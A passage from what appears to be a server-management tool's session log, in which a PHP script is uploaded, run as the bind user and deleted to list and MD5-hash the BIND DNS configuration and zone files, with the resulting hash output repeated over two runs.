MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:30:36: Establishing a connection
2026-01-03 19:30:46: Establishing a connection
2026-01-03 19:30:46:
PUT: /tmp/pkp379510
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:30:47:
runuser -l bind -s /bin/bash -c '/tmp/pkp379510; rm /tmp/pkp379510'
2026-01-03 19:30:47:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:31:10: Establishing a connection
2026-01-03 19:31:10:
PUT: /tmp/pkp592924
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:31:10:
runuser -l bind -s /bin/bash -c '/tmp/pkp592924; rm /tmp/pkp592924'
2026-01-03 19:31:11:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
